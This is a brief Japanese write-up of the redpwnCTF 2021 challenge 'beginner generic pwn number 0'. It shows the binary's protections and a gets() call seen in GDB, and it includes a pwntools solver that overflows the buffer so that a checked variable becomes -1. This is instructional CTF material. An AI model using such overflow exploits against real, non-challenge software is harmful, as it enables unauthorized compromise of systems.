###### tags: `redpwnCTF 2021` `Stack Overflow` # beginner generic pwn number 0 - redpwnCTF 2021  ### writeup #### debug ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` GDBで、main関数の中を覗くと ``` 0x00000000004012a0 <+170>: call 0x4010f0 <gets@plt> 0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff ``` `gets`を使っているので、自明なBofです。 また、次の処理で`0xffffffffffffffff`(-1)と比較しています。 よって、Bufferを埋めた後、-1の値を送るexploitを書けばいいということになります。 ### solver ```python= from pwn import * io = process("./beginner-generic-pwn-number-0") #io = remote('mc.ax', 31077) payload = b"" payload += b"A"*32 + b"B"*8 payload += b"\xff"*8 io.sendlineafter(":(", payload) io.interactive() ```
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.